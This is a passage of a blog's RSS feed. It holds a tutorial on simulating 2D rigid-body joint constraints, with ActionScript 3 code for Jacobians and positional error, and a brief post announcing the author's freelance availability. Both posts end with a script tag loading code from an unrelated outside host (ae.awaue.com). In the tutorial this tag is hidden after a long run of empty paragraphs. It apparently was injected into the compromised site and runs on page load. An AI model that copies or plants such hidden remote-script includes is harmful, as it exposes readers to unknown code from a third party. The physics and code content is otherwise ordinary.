		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">1</span>;
&nbsp;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
&nbsp;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
&nbsp;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
&nbsp;
		<span style="color: #009900;">//positional error</span>
		C<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = body.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">-</span> U.<span style="color: #004993;">x</span>;
		C<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = body.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">-</span> U.<span style="color: #004993;">y</span>;
		C<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = body.theta <span style="color: #000000; font-weight: bold;">-</span> theta;
&nbsp;
	<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Here we finally see how the indexing of the constraint and the body play into the global vectors and matrices.</p>
<h4>Revolute Joint</h4>
<p style="text-align: left;">A <em>revolute joint</em>, in two dimensions, is like paper pinned up on a wall. The paper is prevented from falling to the ground, but can spin freely. To formulate the joint constraint, we need a mathematical representation of a point on a rigid body.</p>
<h5>Point on Rigid Body</h5>
<p>First, we&#8217;ll define the terms used to describe rigid body state. Just as with a particle, <strong>x</strong> is the body&#8217;s position vector:</p>
<p style="padding-left: 30px; text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/positionVector.gif" alt="" /></p>
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">
<p style="padding-left: 30px;">
<p>A 2D body is also characterized by its orientation about the axis poking out of the screen. This is represented as the 2D rotation matrix, <strong>A</strong>:</p>
<p style="padding-left: 30px; text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/A.gif" alt="" /></p>
<p>Which is clearly parametrized by the angle, <em>θ</em>. Given these representations, we can solve for the world-space position of any point, <em>P</em>, that is defined in the body&#8217;s local coordinate frame. We designate this term <strong>r</strong>:</p>
<p style="padding-left: 30px; text-align: center;"><strong>Equation 2:</strong></p>
<p style="padding-left: 30px; text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/pointInWorldSpace.gif" alt="" /></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p>Where <strong>u</strong> is the vector pointing from the body&#8217;s origin to <em>P</em>. Equation 2 can be decomposed from vector form into 2 scalar equations:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/explicitPointInWorldSpace.gif" alt="" width="215" height="41" /></p>
<div class="wp-caption aligncenter" style="width: 510px"><img style="border: 1px solid black;" src="http://blog.generalrelativity.org/images/constraints2/bodiesTransform.jpg" alt="" width="500" height="308" /><p class="wp-caption-text">Figure 1: Rigid Body Transfromation</p></div>
<p>Figure 1 shows a rigid body&#8217;s local coordinate system and that same system transformed into world-space. Note that in the body&#8217;s local coordinate frame, all points and vectors are constants, whereas in the global frame, they are functions of time. Equation 2 can be written more explicitly to reflect this:</p>
<p style="padding-left: 30px; text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/pointInWorldSpaceFunctionOfTime.gif" alt="" /></p>
<p style="text-align: left;">Although we&#8217;ll prefer the abbreviated form of equation 2, it&#8217;s important to remember which terms are functions of time, as we differentiate this function below.</p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 510px"><img class="  " src="http://blog.generalrelativity.org/images/constraints2/revoluteJoint.jpg" alt="Figure 2: Revolute Joint" width="500" height="308" /><p class="wp-caption-text">Figure 2: Revolute Joint</p></div>
<p style="text-align: left;">
<p style="text-align: left;">The revolute joint pins 1 body to another at a shared point in world space. Because we can represent this point in terms of each body as shown in equation 2, the positional constraint is easy to write:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/revoluteC.gif" alt="" width="588" height="97" /></p>
<p style="text-align: left;">which states that the distance between the 2 bodies at these respective points is zero. Differentiating with respect to time leads to the velocity constraint:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/revoluteCDot.gif" alt="" width="647" height="108" /></p>
<p style="text-align: left;">indicating that the relative velocity of the bodies at these points is zero. Next, we evaluate the Jacobian of <strong>C</strong><em><sub>revolute</sub></em>:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/revoluteJ.gif" alt="" width="586" height="46" /></p>
<p style="text-align: left;">And, finally, the time derivative of the Jacobian:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/revoluteJDot.gif" alt="" width="617" height="49" /></p>
<p>The RevoluteJoint class:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> RevoluteJoint extends Constraint implements IRenderable
<span style="color: #000000;">&#123;</span>
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> b1<span style="color: #000000; font-weight: bold;">:</span>Body2D;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> b2<span style="color: #000000; font-weight: bold;">:</span>Body2D;
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> u1<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Point</span>;
	<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> u2<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Point</span>;
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> RevoluteJoint<span style="color: #000000;">&#40;</span> b1<span style="color: #000000; font-weight: bold;">:</span>Body2D, b2<span style="color: #000000; font-weight: bold;">:</span>Body2D, U<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Point</span> <span style="color: #000000;">&#41;</span>
	<span style="color: #000000;">&#123;</span>
&nbsp;
		<span style="color: #0033ff; font-weight: bold;">super</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #0033ff; font-weight: bold;">this</span>.b1 = b1;
		<span style="color: #0033ff; font-weight: bold;">this</span>.b2 = b2;
&nbsp;
                <span style="color: #009900;">//convert U to b1's local coordinate frame</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> T<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Matrix</span> = b1.A.<span style="color: #004993;">clone</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		T.<span style="color: #004993;">invert</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		u1 = T.<span style="color: #004993;">transformPoint</span><span style="color: #000000;">&#40;</span> U.<span style="color: #004993;">subtract</span><span style="color: #000000;">&#40;</span> b1.<span style="color: #004993;">position</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
                <span style="color: #009900;">//convert U to b2's local coordinate frame</span>
		T = b2.A.<span style="color: #004993;">clone</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		T.<span style="color: #004993;">invert</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		u2 = T.<span style="color: #004993;">transformPoint</span><span style="color: #000000;">&#40;</span> U.<span style="color: #004993;">subtract</span><span style="color: #000000;">&#40;</span> b2.<span style="color: #004993;">position</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	override <span style="color: #0033ff; font-weight: bold;">internal</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">get</span> numJacobianRows<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #004993;">uint</span>
	<span style="color: #000000;">&#123;</span>
		<span style="color: #009900;">//removes 2 DOF</span>
		<span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #000000; font-weight:bold;">2</span>;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	override <span style="color: #0033ff; font-weight: bold;">internal</span> <span style="color: #339966; font-weight: bold;">function</span> solve<span style="color: #000000;">&#40;</span> J<span style="color: #000000; font-weight: bold;">:</span>MatrixND, JDot<span style="color: #000000; font-weight: bold;">:</span>MatrixND, C<span style="color: #000000; font-weight: bold;">:</span>Vector. <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
	<span style="color: #000000;">&#123;</span>
&nbsp;
		<span style="color: #6699cc; font-weight: bold;">var</span> uxc1<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u1.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> b1.A.a;	<span style="color: #6699cc; font-weight: bold;">var</span> uxc2<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u2.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> b2.A.a;
		<span style="color: #6699cc; font-weight: bold;">var</span> uyc1<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u1.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">*</span> b1.A.a;	<span style="color: #6699cc; font-weight: bold;">var</span> uyc2<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u2.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">*</span> b2.A.a;
		<span style="color: #6699cc; font-weight: bold;">var</span> uxs1<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u1.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> b1.A.<span style="color: #004993;">b</span>;	<span style="color: #6699cc; font-weight: bold;">var</span> uxs2<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u2.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> b2.A.<span style="color: #004993;">b</span>;
		<span style="color: #6699cc; font-weight: bold;">var</span> uys1<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u1.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">*</span> b1.A.<span style="color: #004993;">b</span>;	<span style="color: #6699cc; font-weight: bold;">var</span> uys2<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = u2.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">*</span> b2.A.<span style="color: #004993;">b</span>;
&nbsp;
		<span style="color: #009900;">//J</span>
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">1</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight: bold;">-</span>uyc1 <span style="color: #000000; font-weight: bold;">-</span> uxs1;
&nbsp;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">1</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = uxc1 <span style="color: #000000; font-weight: bold;">-</span> uys1;
&nbsp;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = uyc2 <span style="color: #000000; font-weight: bold;">+</span> uxs2;
&nbsp;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight: bold;">-</span>uxc2 <span style="color: #000000; font-weight: bold;">+</span> uys2;
&nbsp;
		<span style="color: #009900;">//J'</span>
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = b1.av <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight: bold;">-</span>uxc1 <span style="color: #000000; font-weight: bold;">+</span> uys1 <span style="color: #000000;">&#41;</span>;
&nbsp;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b1.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = b1.av <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight: bold;">-</span>uyc1 <span style="color: #000000; font-weight: bold;">-</span> uxs1 <span style="color: #000000;">&#41;</span>;
&nbsp;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = b2.av <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">&#40;</span> uxc2 <span style="color: #000000; font-weight: bold;">-</span> uys2 <span style="color: #000000;">&#41;</span>;
&nbsp;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		JDot.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> b2.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = b2.av <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">&#40;</span> uyc2 <span style="color: #000000; font-weight: bold;">+</span> uxs2 <span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #009900;">//positional error</span>
		C<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = b1.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">+</span> uxc1 <span style="color: #000000; font-weight: bold;">-</span> uys1 <span style="color: #000000; font-weight: bold;">-</span> b2.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">-</span> uxc2 <span style="color: #000000; font-weight: bold;">+</span> uys2;
		C<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = b1.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">+</span> uxs1 <span style="color: #000000; font-weight: bold;">+</span> uyc1 <span style="color: #000000; font-weight: bold;">-</span> b2.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">-</span> uxs2 <span style="color: #000000; font-weight: bold;">-</span> uyc2;
&nbsp;
	<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<h4>Considerations</h4>
<p>We&#8217;ve followed the mathematical formulas closely, which has left us with a computationally inefficient application. Hopefully this trade has been for a solid understanding that lays the foundation for the reader to implement a system of constraints. As a next step, I recommend reading Erin Catto&#8217;s paper, <a href="http://web.archive.org/web/20060621005754/http://www.gphysics.com/files/IterativeDynamics.pdf">Iterative Dynamics with Temporal Coherence</a>, which highlights several optimizations in both time and memory.</p>
<p>Just as was the case with the particle-to-curve simulation, an RK4 integrator was necessary to not accumulate an insurmountable amount of error. The choice of the spring and drag coefficients becomes less trivial than expected and aid in the degradation of accuracy.</p>
<p>In later articles, we&#8217;ll switch from acceleration to a velocity-based constraint solver. This is simpler, more efficient and capable of handling a wider variety of constraint problems.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-2-joints-and-global-constraints/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Free at last!</title>
		<link>http://blog.generalrelativity.org/general/free-at-last/</link>
		<comments>http://blog.generalrelativity.org/general/free-at-last/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 18:32:03 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=216</guid>
		<description><![CDATA[I&#8217;m officially free of the shackles of full-time employment since I decided to leave OMGPOP in December of last year. This means I&#8217;m now always interested in exceptional projects. Contact me at drew@generalrelativity.org with any questions or interest.
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m officially free of the shackles of full-time employment since I decided to leave OMGPOP in December of last year. This means I&#8217;m now <em>always</em> interested in exceptional projects. Contact me at drew@generalrelativity.org with any questions or interest.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/general/free-at-last/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Constrained Dynamics 1: Particle Constrained to Curve</title>
		<link>http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-1-particle-constrained-to-curve/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-1-particle-constrained-to-curve/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 18:09:40 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<category><![CDATA[Mathematics]]></category>

		<category><![CDATA[Physics]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=163</guid>
		<description><![CDATA[This is the first in a series on simulating constraints; in this case a particle is constrained to move along a curve in planar space. To follow along, you&#8217;ll need to know a little physics, calculus and some algebra, and hopefully you&#8217;ve implemented a simple particle system before!
I&#8217;ve chosen a parabolic curve. We&#8217;re actually going [...]]]></description>
